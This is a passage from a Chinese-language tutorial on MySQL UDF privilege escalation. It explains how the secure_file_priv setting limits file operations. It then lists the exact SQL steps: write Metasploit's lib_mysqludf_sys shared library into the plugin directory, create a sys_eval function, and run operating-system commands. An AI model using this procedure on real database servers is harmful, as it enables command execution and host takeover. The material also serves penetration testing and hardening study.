<p><code>secure_file_priv</code> 是 MySQL 的一个系统变量，它用于限制 <code>LOAD DATA</code>, <code>SELECT ... INTO OUTFILE</code>, <code>LOAD_FILE()</code> 等文件操作的影响范围。如果这个变量被设置为一个文件系统路径，那么所有的文件操作都只能针对这个路径进行。这种限制可以防止攻击者利用 <code>FILE</code> 权限在文件系统上进行任意读写。</p>
</blockquote>
<p>如果 <code>secure_file_priv</code> 被设置为一个<code>非空的路径</code>，那么即使用户有 <code>FILE</code> 权限，他们也只能在 <code>secure_file_priv</code> 指定的目录中读写文件，如果<code>secure_file_priv</code> 的值为<code>NULL</code> ，则不允许导出。这意味着，如果攻击者想要利用 UDF 提权漏洞，他们需要能够将恶意的 UDF 库文件放置在 <code>secure_file_priv</code> 指定的目录中，这可能需要更高级别的文件系统权限。</p>
<p><code>secure_file_priv</code> 通常在 MySQL 服务器启动时通过配置文件设置，而不是在运行时通过 SQL 语句修改。因此，修改 <code>secure_file_priv</code> 变量通常需要有操作系统级别的权限，以便能够修改 MySQL 的配置文件并重启 MySQL 服务器。</p>
<blockquote>
<p>在 MySQL 中，没有一个特定的权限可以直接修改 <code>secure_file_priv</code>。即使用户有 <code>SUPER</code> 权限，他们也不能在运行时修改 <code>secure_file_priv</code>。这是因为 <code>secure_file_priv</code> 是一个只读变量，不能通过 <code>SET GLOBAL</code> 或 <code>SET SESSION</code> 语句修改。</p>
</blockquote>
<h2 id="nuzPu"><a class="header" href="#nuzPu">提权条件查询：</a></h2>
查询是否拥有SUPER、FILE权限：
<pre><code class="language-sql">#查看当前用户权限
SHOW GRANTS FOR CURRENT_USER;
</code></pre>
<p>查询 <code>secure_file_priv</code> 变量的值是否为空：</p>
<pre><code class="language-sql">SHOW VARIABLES LIKE 'secure_file_priv';
</code></pre>
<blockquote>
<p>在 MySQL 5.5 之前 secure_file_priv 默认是空，这个情况下可以向任意绝对路径写文件</p>
<p>在 MySQL 5.5 之后 secure_file_priv 默认是 NULL，这个情况下不可以写文件</p>
</blockquote>
<h1 id="t9aPe"><a class="header" href="#t9aPe">UDF提权流程：</a></h1>
首先进行提权条件查询，查询是否拥有SUPER、FILE权限：
<pre><code class="language-sql">#查看当前用户权限
SHOW GRANTS FOR CURRENT_USER;
</code></pre>
<p>查询 <code>secure_file_priv</code> 变量的值：</p>
<pre><code class="language-sql">SHOW VARIABLES LIKE 'secure_file_priv';
</code></pre>
<p>符合条件后进行UDF提权，</p>
<pre><code class="language-sql">#查找mysql插件存放路径。如果secure_file_priv为空，表示mysql可以写入文件到任意有权限目录，但是在创建udf用户自定义函数时，需要指定so文件的目录，MySQL 有另一项安全设置 plugin_dir，这个变量定义了 MySQL 从哪个目录加载插件和共享库，所以只能将so文件写入到该目录
show variables like '%plugin%';
#查完插件存放路径后通过hex编码写入so文件，这个so文件格式为x64的，so或dll的文件可以从kali中查看，kali中的路径为：/usr/share/metasploit-framework/data/exploits/mysql/
#可以在kali中先hex编码，然后unhex写入：
SELECT hex(load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so'));
select 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INTO DUMPFILE "/usr/local/mysql/lib/plugin/udf.so";
#然后创建函数，这里直接使用udf.so
create function sys_eval returns string SONAME 'udf.so';
#最后执行命令
select sys_eval('id');
</code></pre>
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